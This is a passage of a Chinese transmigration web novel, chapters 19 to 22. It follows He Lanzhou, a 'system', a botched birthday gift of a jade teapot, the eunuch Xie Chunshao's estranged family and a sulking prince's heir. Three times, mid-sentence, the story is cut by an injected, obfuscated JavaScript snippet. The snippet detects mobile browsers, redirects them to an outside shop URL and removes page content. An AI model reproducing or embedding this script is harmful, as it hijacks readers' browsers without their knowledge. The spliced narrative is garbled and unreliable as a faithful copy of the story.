不过,他也没忘系统说的话,在脑中反驳:“太傅大人才没这么说!”简直胡说八道。 系统暗自撇撇嘴:不是一个一个意思吗? 贺兰舟心里惊讶之余,同时又忍不住羞怯,本想扭头就跑,奈何还没蹭上一下。 他舔舔唇,压下心中惊诧,微微抬头,看清顾庭芳眼底的戏谑。 他抿了下唇,大着胆子,扯过顾庭芳的衣袖,衣袖宽大,他握在掌中,揪团揉捏,好不欢快。 “既然太傅大人不喜甜水,那我自己去吧。”他叹一声:“只是何必这样挖苦我。” 这话说着,指尖更加用力,很快就把袖子团成球状。 “兰舟……” 顾庭芳性子素来温和,自然不会因贺兰舟这“无礼”的样子气怒,更何况,在贺兰舟看来,顾庭芳能与他开这种玩笑,他们已是好友了。 不过,贺兰舟也不能太过,在头上那人刚说两个字时,他将手里的袖子松开,大声说:“糖水铺子人多,舟就此告辞了。”说罢,转身就走。 顾庭芳低头看被揉皱了的袖子,哑然一笑,须臾,在他身后唤了一声:“兰舟兄,且慢。” 贺兰舟顿了顿步子,扭头回望,顾庭芳理了理袖子,上前拍了拍他的肩道:“吾观兰舟兄这些时日,心思郁结,又记得兰舟兄说,若嘴里发苦,便想喝一碗糖水,只怕兰舟兄心里苦闷,故开了这等玩笑,万望兰舟兄莫要放在心上。” 他语气真诚,又记得他曾说过的话,贺兰舟心下感动,忙摆手:“自然不会。” 随即想到闵王一案的凶手,和今日朝堂之上的波谲云诡,微叹了口气,“太傅所言,正中舟之心事。每念及吕饶二人,心中便有一团郁气,他们二人的结局,实在令人唏嘘。” 他望一眼大殿的方向,言:“正如阮青所言,他们是升斗小民,在这君王的天下里,上头压着无数官吏,身上背着的是满山荆棘。” 那荆棘背着刺痛,拔出来钝痛,亦翻身不得。 “闵王死了,却留有雅名。”贺兰舟深看向顾庭芳,“而吕饶他们,在君王与群臣的计谋里,微不足道,可他们想要的,也只是有一丝揭穿闵王罪行的可能,然后……救下更多儿郎。” 他问:“太傅以为,逼闵王世子入宫,赐闵王雅号,只为夺得左都兵权,可是对?” 朝堂上下,人人皆知,顾庭芳是最善之人。 可偶有些时候,他也会疑惑,难道好人、好官,亦不会替背负冤屈的人,讨一个公道吗? 19. 第 19 章 眼前的少年郎,如一株青松,遥遥挺拔而立于高山之上,又如那冬日里的第一层浮雪,明明风一吹便会散,却宁散而不染尘埃。 顾庭芳凝向他,那张清俊的脸上,因带上几分愤懑,白嫩的肌肤染上一抹气怒的红。 他轻轻抬手,衣袖的阴影笼在贺兰舟头顶,直到那双手覆在贺兰舟的官帽之上时,贺兰舟愣愣抬头。 “君子正衣冠。” 顾庭芳替他正了正被风吹斜的官帽,只道:“兰舟若信我,我必会还他二人公道。” 贺兰舟整个人一怔,缓缓抬眸,清润的目光落在顾庭芳的脸上。 君子正衣冠,所以不问他人对与错,惟论我心正与邪。 这是顾庭芳给他的回答。 顾庭芳收回手,率先在前面走着,又回头:“兰舟兄,怎么还不走?” 贺兰舟此时才回过神,“哦哦”两声,跟上前去。 路上,贺兰舟一直贴着顾庭芳,想了许久,把那日案子了结之后,心中的疑惑问了出来。 “太傅,还有一事。你不觉得当日大理寺查出线索,追踪到阮青家中一事,很是突然吗?” 顾庭芳眉头微动,不动声色答:“兰舟兄想多了。” 他复又催促:“兰舟兄不是说糖水铺子排队的人多,还不快些走?” 见他不意再提此事,贺兰舟张了张嘴,又闭上,同其一路向城西而行。 喝了两碗糖水,贺兰舟蹭着顾庭芳这一路,又增了0.5天生命值,到顺天府上值时,精神奕奕。 * 魏成身为闵王最忠心耿耿的副将,当查出吕饶二人是凶手后,便对这结果很不满意。 在他看来,吕饶二人背后,一定有人指使,绝不会只是吕饶受辱,阮青为好友不平而杀人这么简单。 可他一时也找不到反驳的证据,如今好不容易等到世子来了,结果去了皇宫,就被皇帝给扣住了。 他本想以此为由,带着左都的士兵起兵,逼小皇帝将世子给还回来。 可又想到姜满的大军就在对面,而听闻今日朝堂之上,小皇帝将世子扣在宫中,明明是为了谋取左都兵权,可姜满却一言未发,任由小皇帝行事。 此事,太过不对劲。 魏成不敢轻举妄动,但若真的什么都不做,他们左都危矣。 “怎么办?怎么办?” 他在屋中来回踱步,口里不住碎碎念,在转了十一圈后,猛地抬起头。 “对啊!还有一人可帮我们啊!” —— 月上中天时,贺兰舟才从顺天府下值归家。 虽说他不想加班,奈何他毕竟是刚进顺天府的推官,闵王一案又非他查出来的,上头要归档近些年的京城及周边案件,他自得表现一番。 好在大召是有加班费的,虽然银子不多,但也能买一壶好酒,再并一斤花生。 不过,贺兰舟总觉得加班费不止这些,府尹肯定又贪了大头。 回到家中时,他这方小院寂静,偶有几声蝉鸣。 过了炎夏,天气日渐转凉,他院中栽种的花草,因这两日的风雨,也蔫了下来。 明日不用早朝,他简单洗漱后,看了会儿话本子睡去,次日还赖了会儿床。 还有三日,便是吕锦城那小垃圾的生辰,贺兰舟惦记着事,还想借此时机涨些感动值。 是以,次日一下值,他便去逛城中各类铺子,想给吕锦城寻个好点儿的生辰礼。 吕锦城毕竟是个公子哥,若给他的生辰礼太过随意,人家只怕看不上。 寻了好一阵功夫,他才在一家玉铺里寻到个价钱适合、质地也上乘的掌心玉制小茶壶。 那小茶壶青玉所作,晶莹剔透,价钱也十足公道,只要五十两。 虽然贺兰舟兜里没钱,穿过来这些日子,也就昨日领了些俸资,但这小茶壶实在难得。 他咬咬牙,与掌柜的砍价:“二十五两。” 对面掌柜的:“……” 掌柜的翻了个白眼,转身就要回柜台,贺兰舟一把拉住人家衣袖,“掌柜的,等等。那、那三十五两,若是行,我现在就拿走。” 掌柜的呵呵一笑,抬手指了下外面,“这位公子,对巷左拐,有家典当行,公子若是没钱,可去那儿寻掌柜的借钱。” 与现代一样,大召是可以借贷的,当然亦分私人与官家的,这典当行,多属官家,借贷的利息也要少些。 贺兰舟对吕锦城,还没到为了他借贷的地步,他兜里满打满算也就四十两,若是将这钱都花了,他这几日恐怕又要吃得不好了。 他咬着唇,心里在纠结,好半晌,一闭眼,一咬牙,“那、那四十两……” 只是话未说完,却有一人将桌案上的玉壶拿起,言道:“色泽温润、触之细腻。” 那人又食指轻弹,再道:“玉声清越,倒是个难得的好品。” 贺兰舟在这人拿过玉壶时,便望了过去,他一时愣怔,万万没想到会在这样的小铺子,遇见这位江北侯姜满。 且更没想到,这位侯爷竟与他看中了同一个物件。 只听姜满问掌柜的:“此壶怎么卖?” 贺兰舟有些急,堪堪说出一个“我”字,那头掌柜的已热情道:“公子,此壶五十两便卖。” 说到这儿,掌柜的还斜了贺兰舟一眼,毕竟贺兰舟只是个六品小官,平日里的常服料子虽好,但总归不华丽。 姜满是武将,不爱时下文人所喜的华丽装扮,一身暗花纹琉璃绿曳撒,发上狮头冠,是暗藏富贵。 掌柜的识人无数,没开口要个一百两,完全是怕眼前这位地位尊崇、不好糊弄。 姜满听了,微微颔首,似是也觉这价钱公道,只是他却没忽略了贺兰舟。 贺兰舟刚吐出一个字,就淹没在掌柜的声音里,正觉懊恼,怕是这玉壶要被姜满买下了。 下一瞬,就见姜满侧头看过来,问他:“这位兄台想说什么?” 贺兰舟张了张嘴,刚要开口,那头掌柜的忙对姜满道:“这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340596|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子,若你看中了此壶,老朽这就为你包上。” 姜满:“嗯,包上。” 贺兰舟再多的话,是说不出来了,明摆着掌柜的嫌他穷酸,而姜满本就不会认得他这个六品小官,自然犯不着是故意跟他抢。 偏偏姜满又侧头问他:“兄台,你说什么?” 贺兰舟:“……” 贺兰舟摇摇头,只能眼睁睁看着掌柜将他看好的玉壶包得精美,虽然有些心酸,但他也只是看中,又未说要买,更不曾付银钱。 贺兰舟只能怅然离去,接着去逛临近的铺子,可却未能再有那玉壶一样,让他心心念念的了。 等从隔壁铺子出来,竟见姜满立在一侧,仰头望着天边云朵。 贺兰舟愣了下,似听到声音,姜满扭过头,见他手里空空,并不意外。 “刚刚在那铺子,见兄台似很是喜爱这玉壶。”姜满把玩着手里包裹精美的盒子,对贺兰舟道:“想了想,这个我似乎也没甚用处,若兄台喜爱,四十五两卖你如何?” 贺兰舟是真有些心动,虽然他不明白堂堂一个侯爷,前手买了,后手就转卖,是个什么道理,但他是想要的。 他拧了拧眉,琢磨着那五两该去哪里凑。 姜满似是看出他的纠结,扬了下眉,又道:“若是兄台囊中羞涩,那便四十两?” 这么被人直白说出来,贺兰舟脸上臊红。 恰此时,姜满将那盒子打开,露出玉壶一面,那玉壶果然莹润可爱,贺兰舟咬了咬牙,一锤定音:“好!” 贺兰舟从没想过,他和反派三号的第一次正式见面,竟然是以这种诡异的方式展开。 成交之后,贺兰舟有些好奇:“公子刚刚是特地在等我吗?”他并未点出姜满的身份。 毕竟姜满上朝全凭心情,就算上早朝,那也是在前面,他一个站后面的小官,连头都不能抬,怎么认得他? 姜满收下银子,抬眸扫他一眼,“算是。” “今日倒是多谢公子了。” 姜满:“好物买来观之,无用则弃之。” 不知为何,贺兰舟听着这话有些心梗,下一瞬,姜满似怕他多想,解释说:“当然,仅是对我来说。这玉壶,兄台是留着自己观赏?” 贺兰舟很真诚,摇摇头,回:“是送人。” 姜满挑了下眉,微微一笑:“想来对方会喜欢的。” 贺兰舟心满意足点头,也觉这玉壶可爱,吕锦城定会欢喜,到时候他的感动值又可以涨一涨了。 但他怎么也不会想到,当这好好玉壶送到吕锦城手上,吕锦城的确两眼放光。 耳边响起系统清脆声音:“恭喜宿主,感动值+++” 系统一直在“+++”,他还以为卡bug了,结果,下一瞬就见吕锦城将那玉壶拿出来,然后、然后—— 碎了他满手。 贺兰舟:??? 系统:【很遗憾宿主,感动值加载失败,请你再接再厉哦~】 贺兰舟:。。。 20. 第 20 章 贺兰舟并没怀疑过姜满,只是奇怪。 这玉壶,他买回来只打开看过一眼,便一直放在家中书桌上,更没拿出来过。 家中更无仆从,怎么也不会有人把这玉壶打碎,再说,就算是人打碎了,那刚刚在盒子里,可装得好好的。 贺兰舟很是想不通。 “这……小茶壶碎得……可爱。”见贺兰舟苦着脸,吕锦城安慰了句。 贺兰舟脸更苦了。 吕锦城手搭在他肩膀,清了清嗓子,“这有什么?榕檀的心意,我可是领了。” 贺兰舟想不明白,这小茶壶怎么会碎得这么离谱,但他想,铺子掌柜的不会卖给姜满一个碎茶壶。 而他与姜满更无恩怨,姜满堂堂江北侯,又怎么可能使些手段? 所以,几番冥思苦想,他也没理个结果出来。 虽说话本子总言,若将事情捋顺一通,怎样都无解,那便是最不可能的那个原因。 可贺兰舟依旧不能相信,是姜满所为。 好在,他没忘给吕锦城做完生辰面,勉勉强强让吕锦城做出一副感动模样,可感动值却半分没增加。 贺兰舟:“……” 吕锦城做人虽垃圾了些,但做朋友是没话说的,怕贺兰舟伤心,把那碎了的茶壶重新收尸回盒子里,好好地命人给他摆放好。 贺兰舟:“……” 从吕府回去的路上,贺兰舟还多嘴问了一句系统,知不知道这小茶壶是怎么碎的。 系统嘴一嘬:“唔,宿主,你要知道,我们系统也是打工统,也不能十二个时辰都不休息啊~” 贺兰舟:。。。 说了等于没说。 他摆摆手,也没再多问,想着那四十两银子可是全亏了,且现在,他连明日买饼的钱都没了! 他摸摸肚子,为明日没饭吃,感到十分忧愁。 “哎——”贺兰舟哀哀叹了口气,拐出吕府的巷子,要往长街的方向走。 再过一个月,便是中秋,如今这长街倒也热闹,扎灯笼、卖月饼、甜薯,桂花酒的小贩多得很。 贺兰舟自然也想买点儿,若是临近中秋再买,定是要贵上几分的,现在买,还能省些银钱。 奈何,兜中空空,他寻不出一个子儿来。 他又想起,顺天府府尹施寻的住处好像就在这不远处,贺兰舟琢磨着,寻施寻预支下个月的俸资,不知是否可行。 比起不要脸来,贺兰舟更怕饿肚子,也更怕多花钱。 又走了两条街,贺兰舟果断朝施府的方向行去。 只不曾想,还没拐进施寻的巷子,竟意外撞见那位阉党之首、朝中人人闻风丧胆的解春玿——解内臣。 贺兰舟顿住步子,歪斜着身子打量过去,见解春玿敲开巷子里的一户人家。 “阿娘,有人敲门。”一道稚嫩的孩童声音从门内传来。 紧接着,一道妇人声音响起:“来了!” “吱呀”一声,木门从里面打开,走出来的是一灰裳妇人,身后有两个孩童跑来,一左一右撞到她怀里,笑得咯咯乐。 而这笑声,在那两个孩童仰头看见解春玿时,戛然而止。 那两个孩子似很恐惧解春玿,两人细小的胳膊,紧紧缠在妇人的腰间,颤抖着睫毛,又想告诉自己不要怕,却又不敢太明显地朝解春玿看去。 解春玿一身黑色素衣,发上只别了个木簪,若不是那日早朝,解春玿从殿门外一步一步走入殿中,在后面的贺兰舟也不会认得他,更不会在此时认出他。 想必,没人会相信,眼前这个一袭黑布裳的男人,会是那个救过先帝命,获赐四爪龙蟒服,权掌整个宦官集团,连沈问都要避之锋芒三分的掌印大人。 贺兰舟眨了眨眼,直觉门内三人的身份不简单。 解春玿自敲开房门,始终未发一言,倒是门内的妇人看清来人,冷下脸:“你怎么来了?”显然,并不欢迎他。 解春玿这才开口:“前段时间奉命南下巡查,恰路过窑州,便去幼时之所瞧了一番。” 妇人听到“窑州”二字,面色有几分动容,却转瞬又沉下面容。 “你又说这些作甚?” 解春玿:“只是想来问问,你可还记得那里?” 说到此处,长睫微垂,清凌凌的目光不知是落在自己的黑布裳上,还是妇人怀中的一双儿女身上。 但他不言语时,神情过冷,那两个孩童约八九岁的年纪,只是见他垂眸,便吓得又贴近妇人几分。 妇人已冷声回道:“不记得。” 解春玿的面容从始至终都很平静,似乎妇人说什么,他都不会觉得奇怪。 “这处宅子,算我们娘仨租你的,每月的租金,我也叫人给你了。”妇人搂着怀中的两个孩子,看也未看解春玿一眼:“你以后,便莫要再来了。” 这话,是和解春玿划清界限了。 听到妇人言语,解春玿目光下移,落在那两个孩童身上,好半晌,他扯了下唇,极浅地笑了一声。 在这沉寂的夜里,显得格外冷。 “好。”解春玿道。 二人之间的对话莫名其妙,贺兰舟正兀自诧异,脑中响起系统的声音:“哎,反派一号也是个可怜孩子。” 原书中,对解春玿的身世并没有过多记载,多是说他杀人如麻。 “嗯?”贺兰舟好奇。 系统:“宿主,你不知道,这处宅子里的妇人,正是解春玿的亲生母亲。” 贺兰舟有些震惊,见那妇人对解春玿的态度,比之陌生人都不及,且观二人言语,也无丝毫亲近之意,二人竟会是亲生母子。 贺兰舟看向那两个孩童,问系统:“那两个孩子,又是何人?” 系统回:“是解春玿的一双弟妹。他们是窑州人,解春玿十三岁时,家中贫寒,父亲又死了,一双弟妹刚满一岁,为了能养活一家人,解春玿的母亲让其舅舅将他带出去做工。” 解春玿那时年纪虽小,却也极为懂事,并没有怨言,甚至十分愿意离乡做工。 大召刚建立的时候,各处也并不算安稳,窑州贫苦,只能北上。 “可他的舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340597|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舅贪得无厌,表面答应了姐姐,转头却将他卖入宫中。”系统唏嘘一声。 解春玿并不知道宫中是什么,窑州离京城太远了,他只以为那是能赚到钱的地方,然后月月有银子可以给母亲与弟妹寄过去。 等他没了子孙根时,他才知道,这里并不是个好去处。 他被舅舅骗了…… 当初贺兰舟读这本书,本就是奔着大男主去的,自然不会关注这些反派,毕竟他只想看男主如何一步一步杀了这些奸佞,如何手握权柄。 听闻系统的话,一时间,他竟有些可怜解春玿。 系统又言:“不过,宿主也不必难过。虽然解春玿幼时在宫中受尽欺辱,可他后面在先帝围猎时,从虎口救下先帝,被先帝赐蟒袍,一路位至掌印大监。” 顿了顿,系统淡淡道:“哦,对了,那之后,他就将害了自己的舅舅,生生活剐了。” 贺兰舟:“……” “嗯,是三千刀哦,一刀都不差呢。”系统补充道。 贺兰舟算明白了,这书里的大反派,是真的大反派,做事那都是一点余地都不留的。 不过,想想自己,如果被人给卖了,那里还没了,他也可能想把人给活剐了。 “可他母亲为何对他这般态度?”贺兰舟问:“可是他母亲认为他没了子孙根,丢了脸?” 系统嘟嘟嘴:“哪能啊?其实,解春玿年幼时,他母亲也很疼爱他的,得知儿子被卖入宫中,也为他闹了舅舅一家,没要过解春玿一分钱,更无颜见他。只是……” “只是什么?” 系统叹了一声:“只是解春玿将她唯一的弟弟给害死了,还死那么惨,他母亲不愿见他。” 从无颜见他,到不愿见他,也不知解春玿心中如何作想。 如今,他的母亲和一双弟妹从窑州来了京城,想必也是他安排的,可明明是至亲,那两个孩子面对他,眼中只有恐惧,母亲也不曾多看他半分。 比起名声不佳的解春玿,他的母亲显然更疼爱他的弟妹。 那两个孩子在他离开家中时,才在襁褓,解春玿也曾温柔地看过他们,可他们却从不记得解春玿。 等解春玿再次出现在他们面前时,他们只知道那是一个权势很大的大宦官,是杀了他们舅舅的“坏人”。 可以说,解春玿是一个不被母亲承认的孩子。 贺兰舟心里叹了一声,那扇门被关上,将解春玿隔绝在他们的世界之外。 隔了好久,解春玿才动了步子,朝巷口方向走来。 贺兰舟还在胡思乱想着,也不知是为解春玿这身世感伤,还是在琢磨对于解春玿这样的人设,此时该不该做任务。 还没等想出个所以然,在解春玿迎面走过来时,嘴比脑子快,贺兰舟竟大大方方唤了他一声:“掌印”。 声音清脆,在寂静的巷子里还有回响,“印印……”二字回荡时,贺兰舟猛地愣住。 下一瞬,解春玿顿住步子,长睫微抬,极轻淡地看了他一眼。半晌,轻嗤一声。 “怎么?还没看够?” 21. 第 21 章 贺兰舟没想到自己早就被发现,被解春玿这么一问,眼睛瞬间瞪大,小脸也爬上一抹红。 他试图狡辩:“下、下官只是恰巧路过。” 解春玿嗤道:“又是恰巧撞见我们,然后恰巧听到我们的谈话?” 贺兰舟抿了抿唇,一时无言作答。 “你便是沈问使计从翰林院调去顺天府的那名推官?”解春玿上下打量他一眼,评价道:“沈问的眼光越来越差了。” 再配上解春玿那眼神,分明是说:看着就一副蠢样! 贺兰舟:“……” 刚刚对解春玿挤出的那丝丝同情,瞬间烟消云散。 不过,听解春玿刚刚的言语,似乎在他离京这数月,仍对京中之事了如指掌,难怪在闵王世子入京当日,他能那么及时地入宫。 贺兰舟敛了心神,冲他干干扯了下唇,甚是谦恭:“下官奉命入顺天府,推官之职,实受之有愧,是陛下仁厚爱重,下官定竭尽所能,断难案、洗冤屈,方不负陛下所托。” 字字句句,未提沈问。 解春玿眸光未动,盯了他看了一会儿,才缓声道:“倒像是沈问喜欢的人。”一样虚伪、阿谀谄媚。 贺兰舟实不想在解春玿心里与沈问扯上关系,奈何解春玿像是认准了,他是沈问的人,语气颇有些阴阳怪气的意味。 贺兰舟一时梗住,两手拱礼,上身微屈的动作就那么保持着,呆呆得不知所动。 也是解春玿真把他当成沈问的人,即便被他撞见今日这难堪的一幕,也没想过杀人灭口,只是别有意味地深深看他一眼,错身而去。 等人走了,贺兰舟才直起身,不知为何,他总觉得解春玿最后看他的一眼,有些令人胆寒。 他舔舔唇,想大抵是解春玿这人没了子孙根,又娘不疼的,早就心思扭曲,是以看什么人都是那样审视、居高临下,如林中老虎盯着猎物。 解春玿离开,贺兰舟也没有在巷子里久留,本想去寻施寻预支俸资,也没了念头。 解春玿的眼线怕是遍布整个京城,他刚刚说了那一通,就是为了跟沈问摆脱关系,若是再去施寻府上,难保不会传到解春玿耳朵里。 早在他入顺天府时,就知施寻是沈问的人,若他真去找了施寻,指不定人家就以为,他去跟施寻说了今日之事,是告状去了。 那他可真就成沈问的人了! 是以,贺兰舟忍住买月饼的冲动,嘴里骂骂咧咧地回了家。 路上,系统再次恨铁不成钢:“宿主,这么好的机会,你怎么不把握?!你就一下子扑上去,告诉他,你敬慕他啊!” 忍了很久,贺兰舟终于忍不住问系统:“你是第一次做系统吗?” 系统哽了瞬,慢呲呲道:“嗯、也许,我……” 贺兰舟:“……”果然,听着就啥都不靠谱! 不过,今日之事,倒也不是全无收获。 毕竟之前对解春玿的了解,一部分是从系统那儿听到的,一部分是看书里轻描淡写的几句,但今日所见,他发现,解春玿其实是个拧巴性子。 他离京在外数月,这内务事宜定然不少等他定夺,在他将一切事安排妥帖,就来见了母亲,还特地穿着粗布麻衣,故意提及幼时之处。 虽未提一字他言,却是渴望着母亲能念及他少时离家,记起他也曾是她曾疼爱过的孩子。 可他不是个会讨糖吃的孩子,明明心里难过,也不会说半句“我也是母亲的孩子”。 被他撞见这么难堪的一幕,贺兰舟都不知道,他这样拧巴,会不会觉得面子里子都没了,得找个人捅捅刀。 贺兰舟打了个哆嗦,摸摸自己手臂,安慰自己:“不会的,不会的。你这么心地善良、这么俊朗明媚,谁会忍心杀你啊!” 听了个完全的系统:“……” * 次日,又是上早朝的日子。 也不知最近这大召是犯了什么邪,朝堂的大事,是一天一个变。 一众官员们走上大殿,就见闵王世子薛有余一把鼻涕一把泪地跪趴在地,口中不断高呼“万岁”,“谢过陛下”。 不知道的,还以为小皇帝是他爹。 恐怕他见他爹的死相时,都没这么激动过。 听他含糊说了好一会儿,贺兰舟才听明白,他因为什么这么情绪激烈。 原是小皇帝准了他出宫,不用在宫里待着,就意味着他不会哪天半夜在宫里睡醒,发现周围是一遭的宦官和锦衣卫。 也不用担心哪天被人像勒死他爹那样,勒死他。 他出了宫,就意味着总能离开京城,就算小皇帝不放他走,他也能偷摸离开不是。 但显然,他低估了小皇帝,亦或是说,小皇帝背后的那些人。 小皇帝道:“念堂兄思念皇叔,朕虽与堂兄兄弟情谊甚重,又实想与堂兄多多相处,可本朝素来以孝为先,在皇叔下葬之前,你自当与皇叔好好道别一番。” 说到此处,小皇帝作势一叹:“既如此,朕便不留你在宫中了。” 薛有余千恩万谢:“多谢陛下,臣这些时日,一想起父王,便夜夜睡不安稳,父王这是在怪罪我啊!” 说着,又抹着袖子呜呜哭起来。 说实话,贺兰舟每天看他们演来演去,倒真是比电视还精彩。 但下一瞬,薛有余就得意不出来了,小皇帝道:“只是先帝祷颂在即,先帝与皇叔素来兄弟情深,万望堂兄在为先帝祷颂之后,携皇叔尸身离京,已全他们兄弟情谊。” 小皇帝当初召闵王入京,用的借口正是为先帝祷颂。 哪怕闵王死了,但照样也是低先帝一头,更何况,先帝也早死了,这祷颂,他是不留也得留了! 薛有余在宫中待得都要疯了,他在左都之时,哪怕底下几个弟弟虎视眈眈,又何曾这么看人眼色、被人强压一头过? 如今处处小心,实在难以度日,是以,小皇帝说了这么一大堆,他就听到“离京”二字,也不管那许多,满口答应。 “臣遵旨遵旨,谢过陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340598|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !谢过陛下!” 今日早朝,以薛有余留京以待先帝祷颂为起点,再以小皇帝着礼部操办先帝祷颂一应事宜为结束,倒是十分圆满。 当然,这是对小皇帝来说,而对薛有余则是破碎的开始。 回到陌生的闵王府,府上一片缟素,下人也多是在京中采买的,对于薛有余来说,这府上唯一能说上话的,便是魏成。 他也知自己能出宫,是魏成在宫外奔波,到处找人帮忙,可他并不好奇是谁说动了小皇帝,只想趁夜奔走离京。 魏成见他一到府中,就命人去给闵王封棺,魏成吓了一跳,“世子,你这是要做什么?” “做什么?”薛有余冷眼看他:“自然是要出京,难不成还真给先帝祷颂?哼!先帝也配!” 魏成听他这话,吓得一激灵,顾不得尊卑,上前捂住他的嘴:“我的祖宗,你也知这是陛下为殿下辟的府邸,这上上下下能有多少咱们的人啊?” 他叹了一声,低声道:“隔墙有耳啊!” 他们谁也没想过上京这一趟,会出这么多事,更不会想到,可能沈问之流从一开始给小皇帝出主意,就是奔着他们左都的兵权来的。 可如今才猜到这些,已经为时已晚,当务之急,至少要保住他眼前这个小主子。 “世子,我去求了太傅帮忙,太傅也说了,他定能保你安然离京。” 魏成松开手,语重心长:“世子,你万不可今夜离开,更不能把殿下的尸身带走。太傅说了,若你就这么离开,恐陛下会以你不敬先帝、违抗圣意为由发难。” 薛有余半张脸隐在阴影下,跃动的火烛,只能照出他另半边扭曲的侧脸。 魏成又说:“城门多了不少巡夜的士兵,这分明就是冲着世子你来的!” “这也不行,那也不行,你写信让我来京城作甚?!”薛有余猛地回头凝着他,眼神冰冷至极。 “我……” “这地方,就是个牢笼子,飞不出,又扯不坏!”薛有余气怒得不行。 正巧一个婢女端着吃食前来,本是得魏成的命令,怕薛有余饿着,现下被薛有余瞧见,一把扯过她手里的托盘,狠狠砸在地上。 “砰”的一声,碗盘碎落一地,如此这般,犹不解气,他一脚踹在婢女身上,怒喝一声:“给我滚!” 那婢女吓得脸色都白了,从地上爬起来,呜呜地离开。 魏成见人走远,叹了一声上前,拍拍薛有余的肩膀:“世子,如今我们人在屋檐下,多少双眼睛盯着咱们。” 他眼中微微含泪:“殿下已死,可我拼了我这条命,也不能再让你有事啊!” 本是想保住左都兵权,如今一看,却是成了笼中困兽,那既如此,也得让闵王府后继有人才行。 薛有余又砸了不少花瓶茶碗,才算解气,渐渐平复下来。 “好,那我就留下给先帝祷颂。”他喝一声:“一个忘恩负义、背弃旧主的乱臣贼子而已,我倒要看看他在底下接这些颂词,可接得安稳!” 22. 第 22 章 薛有余对魏成倒还算敬重,对魏成说的话,也不曾反驳,还真断了离京的打算。 可他离不开京,小皇帝是真没想他好,偶尔心血来潮,便将案上的奏折一摊,对甚是爱重的解内臣言:“我想堂兄了。” 只要他说上这一句,那薛有余就得从玉带巷的闵王府跑到宫门前,再由内侍引入宫中,也不知是解春玿故意,还是那群内侍怠慢,就没给他备个软轿。 可小皇帝唤他,他就得随叫随到,有时一天能唤他三次,就好像防备着他逃跑一般。 一日两日如此,薛有余那在京中有所收敛的性子便压不住了。 他本就因这些事,心情郁郁,现在闵王也死了,一个魏成在而已,哪有人能真的管住他。 一夜,外面下着大雨,他心底积攒的怨气随着雨声越来越大,薛有余亦是再也压制不住。 他披衣而起,擎着一把伞,叫起门房,为他备了马车与车夫,命人一路驾向京城最好的南风馆。 与闵王一样,他这个儿子,也好男风。 贺兰舟得知此事时,正与吕锦城和孟知延这两个好友吃酒。 孟知延“啧啧”两声:“难怪他成婚数年,连个孩子都没有!” 吕锦城提起他就来气,“哼!这孙子跟他那个死鬼爹一个样儿,没□□儿的臭龟孙!” 贺兰舟与孟知延对视一眼,皆无奈摇头。 好巧不巧,薛有余逛南风馆的那日,吕锦城也去了。 城西那家,因为闵王的死被查封,至今还未营业,如今京城最好的南风馆,自然是他们之前去过的城东那家。 城东那家如今靠着西公子,赚得盆满钵满。 西公子会唱曲,听吕锦城说,他说起话来不失男儿气概,又多些柔和之意,听得人心口都暖暖的。 去那儿的富贵公子哥们不见得都好男风,但既然去了,那夺得佳人喜爱,可就是他们比拼脸面的时刻。 所以,与西公子对弈,与西公子秉烛夜谈,那都是论一刻钟多少银子算的。 吕锦城不好别的,就想看烛光下的西公子,为了跟西公子在夜里聊聊天,那银子是没少往里砸。 贺兰舟奇怪:“当日去那儿,也没见你多看重那位西公子啊。” 吕锦城斜他一眼,“那不是有吕饶嘛,他的曲儿好听!” 言外之意,吕饶没了,他又想消磨时间,西公子还挺让他受用。 贺兰舟在心里撇撇嘴,不愧是京中有名的纨绔! “薛有余又怎么把你气成这样了?”贺兰舟纳闷。 吕锦城又骂:“没□□专找□□的孙子!” 贺兰舟:“……” 他咳了两声,“满川,你不是自诩文雅吗?”又拍拍吕锦城肩膀:“文雅!文雅!” 吕锦城瞪着眼睛:“你是不知道那小子多可恨!我昨日带足了银两,往日我一千两就能包下西公子,他小子生生给我砸到两千两。” 孟知延品了口桂花酒,好奇问:“这么说,你昨日还是跟西公子在一起了?” 吕锦城总觉得这话哪里不对劲,但没想出个所以然,点头应:“是啊。” 他钱都花了,这面子也装了,还能在最后关头提裤子? 吕锦城嗤道:“老子昨日都想了,就算把我爹的银库掏空了,也不能让他抢了风头!” 贺兰舟:“……”败家子。 孟知延挑了下眉问:“有一事我倒好奇,满川你没见过薛有余,怎知跟你争抢西公子之人,就是薛有余?” 提起这个,吕锦城就乐了,“老子当然不认得他,但今日谁还会不知他薛有余!哈哈哈哈!” 他乐得莫名其妙,说得贺兰舟与孟知延一头雾水。 吕锦城见状,洋洋得意:“你们二人,还要与我多学学才是,这在京城之中,最重要的,便是要消息零通。” 